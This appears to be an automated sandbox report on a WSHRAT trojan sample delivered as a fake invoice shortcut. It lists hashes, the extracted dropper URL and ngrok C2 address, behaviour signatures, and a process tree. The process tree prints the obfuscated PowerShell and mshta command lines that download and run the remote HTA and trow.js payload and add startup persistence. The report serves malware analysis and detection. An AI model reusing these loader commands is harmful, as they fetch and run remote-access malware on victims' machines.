wshrat | 8c9d00375d44842c536848a04273da0932fd13c40582443ed42607f328a5f005

General

Target
Invoice.pdf.lnk
Size 3KB
Sample220727-lbbqaacdcq
SHA256 8c9d00375d44842c536848a04273da0932fd13c40582443ed42607f328a5f005
MD5 17ac4a8452291b059d03779a174b3db3
SHA1 4827a98c883411f7f7935f189fa8872bd7d631d7
SHA512 4709c2d6a92a6f3831434fe25e218c7202e221e19eb00431695fa5f58603b150e15c3973b65057b4b4313d0787486e4e54b6506845c435becfe806b0f14d8cf1
MD5 SHA1 SHA512

Score

10^/10

wshrat trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://40.65.123.35/trow.hta

Extracted

Family

wshrat

C2

http://3.tcp.eu.ngrok.io:26042

Signatures

WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
trojan wshrat

Blocklisted process makes network request 26 IoCs

flow	pid	Process
11	3232	mshta.exe
13	1468	powershell.exe
14	1468	powershell.exe
16	4952	WScript.exe
18	4952	WScript.exe
22	4952	WScript.exe
23	4952	WScript.exe
31	4952	WScript.exe
32	4952	WScript.exe
33	4952	WScript.exe
34	4952	WScript.exe
37	4952	WScript.exe
41	4952	WScript.exe
42	4952	WScript.exe
43	4952	WScript.exe
44	4952	WScript.exe
45	4952	WScript.exe
48	4952	WScript.exe
49	4952	WScript.exe
50	4952	WScript.exe
51	4952	WScript.exe
52	4952	WScript.exe
53	4952	WScript.exe
54	4952	WScript.exe
55	4952	WScript.exe
56	4952	WScript.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000\Control Panel\International\Geo\Nation	mshta.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\trow.js	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\trow.js	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000_Classes\Local Settings	powershell.exe

Script User-Agent 22 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	18	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	33	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	34	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	45	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	31	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	32	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	41	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	49	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	56	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	23	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	42	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	48	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	50	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	52	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	54	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	55	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	22	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	37	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	43	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	44	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	51	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	53	WSHRAT\|E472E484\|QPCJWJDA\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4940	powershell.exe
4940	powershell.exe
1468	powershell.exe
1468	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4940	powershell.exe
Token: SeDebugPrivilege	1468	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1168 wrote to memory of 4940	1168	cmd.exe	79
PID 1168 wrote to memory of 4940	1168	cmd.exe	79
PID 4940 wrote to memory of 3232	4940	powershell.exe	80
PID 4940 wrote to memory of 3232	4940	powershell.exe	80
PID 3232 wrote to memory of 1468	3232	mshta.exe	81
PID 3232 wrote to memory of 1468	3232	mshta.exe	81
PID 1468 wrote to memory of 4952	1468	powershell.exe	83
PID 1468 wrote to memory of 4952	1468	powershell.exe	83

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Invoice.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ErrorActionPreference=0; $cBOwUf = $Null; $xAgegrp = 'Lt.pytlLlBrQdTxo.5d0h.VYEI3nffs/1k6HIwX/NKd.STf43tIp~2Fa5OAtwoZCqrmAha/fBWt:btwJ'; sal IAffu ($xAgegrp[(-4422+4452)]+$xAgegrp[(-32914+32969)]+$xAgegrp[(2351-2351)]); IAffu oCudms ($xAgegrp[(-63176+63201)]+$xAgegrp[(173-149)]+$xAgegrp[(12388-12374)]); IAffu krYMcXGHG ($xAgegrp[(-64207+64273)]+$xAgegrp[(-4422+4452)]+$xAgegrp[(47148-47128)]+$xAgegrp[(-17057+17058)]+$xAgegrp[(-32914+32969)]); foreach($TQTrPTP in @((-60487+60507),(-12002+12003),(-16160+16161),(33904-33901),(-39446+39521),(-13622+13653),(57741-57710),(29097-29050),(3968-3949),(-2593+2595),(25707-25673),(10215-10198),(55025-55023),(61294-61262),(61008-60955),(7773-7747),(43764-43762),(-6821+6847),(47344-47327),(-1588+1619),(-64972+64973),(24817-24807),(-51793+51808),(22833-22796),(-37413+37415),(-18072+18092),(38501-38500),(-45341+45396))) {$cBOwUf+=$xAgegrp[$TQTrPTP]}; oCudms ("krYMcXGHG $cBOwUf");
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" http://40.65.123.35/trow.hta
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3232
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function LDpShDPeBhi($hMnAhOHOShc, $XtysCojvVrqYcl){[IO.File]::WriteAllBytes($hMnAhOHOShc, $XtysCojvVrqYcl)};function JuvLhFNpblsbfCWgz($hMnAhOHOShc){if($hMnAhOHOShc.EndsWith((zeifwUoBbuGM @(59194,59248,59256,59256))) -eq $True){rundll32.exe $hMnAhOHOShc }elseif($hMnAhOHOShc.EndsWith((zeifwUoBbuGM @(59194,59260,59263,59197))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $hMnAhOHOShc}else{Start-Process $hMnAhOHOShc}};function BrycbnKqTgAxXjMljOHt($LDpShDPeBhi){$fZKHJqgarsRfpARKDnbu=(zeifwUoBbuGM @(59220,59253,59248,59248,59249,59258));$uGNTkcYTQmQD=(Get-ChildItem $LDpShDPeBhi -Force);$uGNTkcYTQmQD.Attributes=$uGNTkcYTQmQD.Attributes -bor ([IO.FileAttributes]$fZKHJqgarsRfpARKDnbu).value__};function rrnLOYTMDlbPiRMAb($JgZprrutGNaGJGKHcku){$FQQeCTwNCTw = New-Object (zeifwUoBbuGM @(59226,59249,59264,59194,59235,59249,59246,59215,59256,59253,59249,59258,59264));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$XtysCojvVrqYcl = $FQQeCTwNCTw.DownloadData($JgZprrutGNaGJGKHcku);return $XtysCojvVrqYcl};function zeifwUoBbuGM($eHoa){$RNgXAztR=59148;$ILtFteRHGhSv=$Null;foreach($LtCXVvdrZKiSRjoxa in $eHoa){$ILtFteRHGhSv+=[char]($LtCXVvdrZKiSRjoxa-$RNgXAztR)};return $ILtFteRHGhSv};function FkvLyITIOC(){$ilMqxptPYKJCEV = $env:AppData + '\';$hQxRxZFbsigBCoiek = $ilMqxptPYKJCEV + 'Capture.png';If(Test-Path -Path $hQxRxZFbsigBCoiek){Invoke-Item $hQxRxZFbsigBCoiek;}Else{ $uLaudeszPrZ = rrnLOYTMDlbPiRMAb (zeifwUoBbuGM @(59252,59264,59264,59260,59263,59206,59195,59195,59253,59194,59253,59246,59246,59194,59247,59259,59195,59224,59226,59218,59266,59270,59266,59251,59195,59215,59245,59260,59264,59265,59262,59249,59194,59260,59258,59251));LDpShDPeBhi $hQxRxZFbsigBCoiek $uLaudeszPrZ;Invoke-Item $hQxRxZFbsigBCoiek;};$nibBBmxTmhE = $ilMqxptPYKJCEV + 'trow.js'; if (Test-Path -Path $nibBBmxTmhE){JuvLhFNpblsbfCWgz $nibBBmxTmhE;}Else{ $fSvARjVXKWP = rrnLOYTMDlbPiRMAb (zeifwUoBbuGM @(59252,59264,59264,59260,59206,59195,59195,59200,59196,59194,59202,59201,59194,59197,59198,59199,59194,59199,59201,59195,59264,59262,59259,59267,59194,59254,59263));LDpShDPeBhi $nibBBmxTmhE $fSvARjVXKWP;JuvLhFNpblsbfCWgz $nibBBmxTmhE;};BrycbnKqTgAxXjMljOHt $nibBBmxTmhE;;;;;}FkvLyITIOC;
      4⤵
      Blocklisted process makes network request
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1468
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\trow.js"
        5⤵
        Blocklisted process makes network request
        Drops startup file
        
        PID:4952

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5540f4ea6d18b1aa94a3349652133a4f6641d456757499b7ab12e7ee8f396134
MD5 75b4b2eecda41cec059c973abb1114c0
SHA1 11dadf4817ead21b0340ce529ee9bbd7f0422668
SHA512 87feaf17bd331ed6afd9079fefb1d8f5d3911ababf8ea7542be16c946301a7172a5dc46d249b2192376957468d75bf1c99752529ca77ec0aa78a8d054b3a6626
MD5 SHA1 SHA512

Submit Download

trow.js

Path C:\Users\Admin\AppData\Roaming\trow.js
Size 206KB
SHA256 0a9b0c1f4195287ab189b9ab8c356d50bb2aacf5587a75312ce129374b8c91a0
MD5 9efdb380c3e76e47355683d84bff5dca
SHA1 3af0dcea60641d1971763b24bea80b7f8098d024
SHA512 38dda5195df8909ff0989056d35678affb3b42db033685196f92453d27bce2bc40339b402b2a07e9657fc02c645508b1f6d98633a83a883529ab8c39c2d90434
SSDEEP 6144:ngO7zAkTYHRITw+zQ609+QZ2PI6kICGwBExPU:nnXTGqQZ9r2PIwLdU
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1468-140-0x00007FFD2B7C0000-0x00007FFD2C281000-memory.dmp

Download

memory/1468-143-0x00007FFD2B7C0000-0x00007FFD2C281000-memory.dmp

Download

memory/4940-133-0x0000027138BF0000-0x0000027138C12000-memory.dmp

Download

memory/4940-135-0x00007FFD2BFC0000-0x00007FFD2CA81000-memory.dmp

Download

memory/4940-144-0x00007FFD2BFC0000-0x00007FFD2CA81000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads